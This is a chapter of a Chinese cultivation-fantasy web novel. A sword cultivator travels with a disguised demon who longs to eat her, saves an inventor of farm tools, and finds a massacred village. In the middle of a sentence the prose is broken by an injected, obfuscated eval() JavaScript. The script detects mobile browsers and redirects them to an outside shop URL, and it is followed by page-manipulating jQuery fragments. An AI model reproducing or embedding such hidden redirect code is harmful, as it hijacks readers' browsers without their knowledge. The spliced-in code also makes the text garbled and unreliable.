“谢、谢,对,谢春雪。”她以拳拍掌,“相逢就是我们有那什么,柿圆!你是来杀魔修的对吧,我俩搭伙走啊。我叫赤刃,是个体修。”

    这世上居然有人比她起化名还敷衍。算了,不和文盲计较。

    谢春雪不动声色地打量这个在千阙记忆里出现过的人,压低语调,“跟上。我不等人。”

    “来了来了。”她丝毫不介意女子的冷淡,笑嘻嘻地凑过来,“我们去哪啊?”

    有她跟着,封印点是去不了了。谢春雪干脆道,“救人。”

    有剑修在,基本没有体修出手的机会。她顶多补个刀,偶尔还会鞭下尸。那双眼睛止不住地往谢春雪身上瞟,特别是在她出剑时。

    等又砍完一个魔修,女子忽然回头,嚯,身后之人双手抱胸,看得那叫一个聚精会神,津津有味。

    被抓了个正着赤刃后知后觉意识到,咳了两声,“那啥,其实我也想学剑来着。你的招式很厉害啊。等等,这是不是保密的,我这叫偷学吗?你不会杀我灭口吧?”

    谢春雪无语凝噎,“这有什么好保密的,总不可能谁看到我的剑招,我就去杀了谁。那修仙界就没几个人能活下来了。”

    她放心了,又问,“那别人学走了怎么办?”

    “学去了是他们的本事。多学点也好。”剑修淡然自若,“见贤思齐,取长补短。修行本就该如此。”

    赤刃只听懂了前半句,“你这人可真奇怪。”若有人敢效仿她的功法,她肯定会弄死那人。

    谢春雪不置可否,甩去剑上的乌血,“走吧,去下一处。”

    见她如此好说话,体修绷着的弦放松了些,话更密了,“你怎么老去救那些、那些……”

    赤刃想不出如何形容,换了个问法,“怎么不去救那些住大房子,好看房子里的人?可以拿好多东西呢,你救的这些,啧啧,吓得连句谢谢都说不出来,白来。”

    算了,不和魔族计较。

    剑修耐心解释,“我的目的只有救人,没想过要获得什么,自然是有人就救。你说的那些住在宫殿里的人,居于繁华的位置,能更快得到救援。这些散落在田间地头的人则相反,更需要我的帮助。”

    其实都没必要救。赤刃心想,凡人和草一样随处可见,割了又能长新的,哪里需要费心去救?反正就活那么点时间。

    不过看修仙界这架势,可能是修士就喜欢救人?她这话还是别说出来了,免得暴露身份。

    想着想着,她就贴近了剑修,不自觉分泌出口水。顶级修士的血肉对她的诱惑力太大了,她忍得好辛苦。大仇得报后,她要第一个吃谢春雪。

    “你好香啊。”赤刃真诚赞美。

    谢春雪瞥她一眼,这个魔族是不是有点太嚣张了?虽然知道什么意思,她还是没露出异色,只道,“是红梅花香。”

    反应过来的魔族猛猛点头,“红梅好啊。”到时候加红梅一起吃。她的目光落在女子的唇瓣上,开始幻想会是何种口感。

    谈笑风生间,飞霜又斩灭一个失智的魔修。田边的窝棚下,抱着东西蜷缩在角落的女子气息奄奄,勉力睁开眼。

    对上如秋阳的金眸。

    谢春雪把人翻过来,发现还是个修士,取出一枚回春丹给她喂了下去,“醒醒,好点了吗?”

    她失焦的瞳孔总算清明,来不及回话,第一时间翻看怀里的东西。谢春雪定睛一看,是一个木制的模型。眼熟但又陌生。

    “你是器修?这个东西很重要?”

    重要到生死关头,她第一反应竟然是保护模型不受损坏。

    谢春雪温和道,“我送你去百味楼吧。在魔修之乱未平之前,那里欢迎所有修士前去避难。有医修和卫士驻守,安全无虞。”

    “非常感谢,您就是冰魄尊者吧。”她恢复了些力气,“让您见笑了,这个东西、呃……”

    女子有些尴尬,声音越说越小,“应该,没有您想的那么重要,只是我新研究的农具而已。就是拿来种田的工具,和灵力没关系,对修士没什么用……”

    住在农田边的器修。农器。耕具。

    见谢春雪愣住,她越发不好意思了,嗫嚅道,“就不麻烦您送我过去了,蒙您出手相救已是荣幸——”

    “不。”

    谢春雪打断她,纤指轻点眉心,“赠你一缕剑气,愿你不会有用到它的时候。”

    分神期剑修的剑气护身,相当于多了条命。

    女子懵了,摸着自己的额头傻傻看着剑修又拿出一道法阵,“传送阵那边是百味楼,安心等待捷报就好。”

    阵法启动。

    剑修抱拳行礼,“农为民本,器为人用。能救下您,是我的荣幸才对。”

    惊讶到失声的器修在光芒里消失。

    “你俩在说啥啊。”

    围观了全程的赤刃挠头,“不就是个玩木头的器修吗,和龙有什么关系?龙具又是什么?你干嘛那么恭敬?”

    弱得她一个指头就能碾死,居然能让剑修如此尊重。龙具是什么很厉害的灵器吗?可那个人又说对修士没用。

    她想得脑子都要打结了。谢春雪却对她露出一个笑。

    她们见面以来的第一个笑。

    赤刃不怎么会说人话,但她很擅长感知恶意。和邪修、魔修开那劳什子会时,每次她张口没说几句,就会有人笑她。轻蔑嘲弄。

    哼,等大功告成,那些人她要挨个吃。

    她了解过谢春雪,对方还是个文修,按理说她早该笑话自己了。可赤刃没想到会是这种笑。

    不含鄙夷、嘲讽,就像母亲看蒙昧的孩童,无奈又包容。

    剑修牵过她的手,在掌心一笔一划写下“农”。

    这双手挥出的剑气凛冽又锋锐,触感却如此柔软。让魔族少见的想起一些轻飘飘的东西,比如羽毛和花瓣。

    带着薄茧的手指碰过的地方泛起细微的痒,赤刃盯着她垂下的眼睫,只觉得痒意一路蔓延到心里,更饿了。

    “农,耕也。人们开垦土地,在春天播下种子,浇水施肥,等到秋天收获粮食。农具可以帮助人们播种,从而养活更多的人。”

    女子的语气不急不缓,话语直白朴实,都是她能听懂的话。

    这人是真的在认真教她。赤刃意识到这一点。她老子教她功法时,都没这么耐心地和她说过这么长一段话。

    谢春雪总是一副平静的模样,可能她对任何人都是这样吧。

    如果吃掉剑修,她会不会也能获得同样的平静?身体在渴望吞噬。

    好饿。

    步骤那么多就算了,还要从春天等到秋天?她动了动手指,嘀咕道,“真麻烦。”还是吃人简单,一年四季都有人。

    谢春雪点头,“是很麻烦。但如果刚才那样的器修再多一些,或许就能变得简单了。”

    女子咂摸了一下其中的含义,纳闷道,“这和你有啥关系?你又不吃粮食。”也不吃人。这不多管闲事吗?

    “这世上的一切,都是息息相关的。”

    剑修没再停留,转身走向下一个地方。赤刃小尾巴似的跟着她。看剑光缭乱,听她缓缓道来。

    “我们生于同一片天空下,由大陆的山水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816991|207761||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    哺育,都是它的孩子。换而言之,活在这片土地上的人们,都可算作兄弟姐妹。所以,他们都和我有关。”

    这话真新奇。一个修仙者和八竿子打不着的凡人还能当亲人?她可见过不少鼻孔朝天的修士,对凡人不屑一顾。

    不过他们死前痛哭流涕的样子,和凡人也没什么两样。这么一想,确实很像。

    不知道为什么,剑修看上去更好吃了。

    赤刃揪下一根狗尾巴草叼在嘴里,缓解齿间的痒,“谢春雪,你可真奇怪。”

    是她见过最奇怪的修士。她决定搞清楚她为什么这么奇怪后,再吃掉她。

    过了会儿,她又状似不经意地问了一句,“除了人,其他种族也算吗?”

    前言不搭后语就算了,声音还含混不清。

    问完她就后悔了,刚想搪塞过去,就听见剑修的回答。

    “滥杀无辜的人不算。相反,只要愿意与他人和平共处,无论什么种族,都算。”

    哦,还有门槛啊。

    赤刃摸了摸扁扁的肚子,觉得自己其实也不是很想和谢春雪当姐妹。

    对啊,姐妹算什么?把她吃了,她们不就能融为一体了。还有比这更亲近的关系吗?

    她又高兴起来。专心致志地看谢春雪的出招,寻找其中的破绽。

    谢春雪停住了。

    赤刃也停了,有一瞬间她感受到堪称恐怖的威压。偏头去瞧,果然看见女子面色难看。

    魔族感受了一下,原来是这个村子的人都死完了。

    剑修走向最近的房屋,大门敞开,鸡鸭在院中踱步,一切如常。

    只除了死在屋里的一家三口。

    丈夫死在屋门口,手里紧握着锄头。他只是一个农夫,不可能抵挡魔修。但他还是拼尽全力,想为家人争取一线生机。

    妻子死在床边,她趴在地上,手还护着身下。谢春雪只看了一眼,胸口剧烈起伏。

    她是个孕妇。

    藏在水缸里的男孩当然不可能逃过魔修的感知,苍白地泡在血水中。

    全都是一击毙命。只杀人,不伤牲畜。

    最吊诡的是,死去的人脸上,都带着笑容。

    “看着像是七杀殿的手笔。”赤刃在屋里逛了一圈,回到谢春雪身边,“你知道七杀殿吗?要我说里面的人脑子都有病。”

    光杀不吃纯浪费。不少魔都在怀疑他们是想通过这种方式缩减人口,好在未来饿死魔族。

    谢春雪深呼吸后冷声道,“听过,是个魔修组织。他们就这样随机杀人?”

    “对啊。”赤刃点头,全抖搂出来了,“领头的是个疯子,一个劲地吹死有多好,活着是种痛苦。想带着所有人去死。”

    要她说好死不如赖活着,看她们魔族这不就要熬出头了?

    “错了。是痛苦地活,不如幸福地死。”一道轻柔的男声响起,赤刃好似被踩到尾巴的猫,惊得一个后跳,“我日,屠川红!你怎么在这儿?”

    这家伙和鬼一样悄没声的,吓死魔啊。偏偏还是个洞虚期的杀人魔,她可不想和这人对上。

    不过她和剑修二打一应该没问题。想到这,她又放松下来,这才发现气氛不太对。

    屠川红……七杀殿?

    八苦,七杀,死不苦?原来如此,原来如此。

    谢春雪垂眸,半人长的银环蛇吐着信子,讨好地爬近,被飞霜剑指着后僵住,消失。

    女子猝然抬头,对上如血的红眸。经年积压的愤怒几乎要冲破胸膛,声若寒冰。

    “你居然,还有脸出现在我面前。”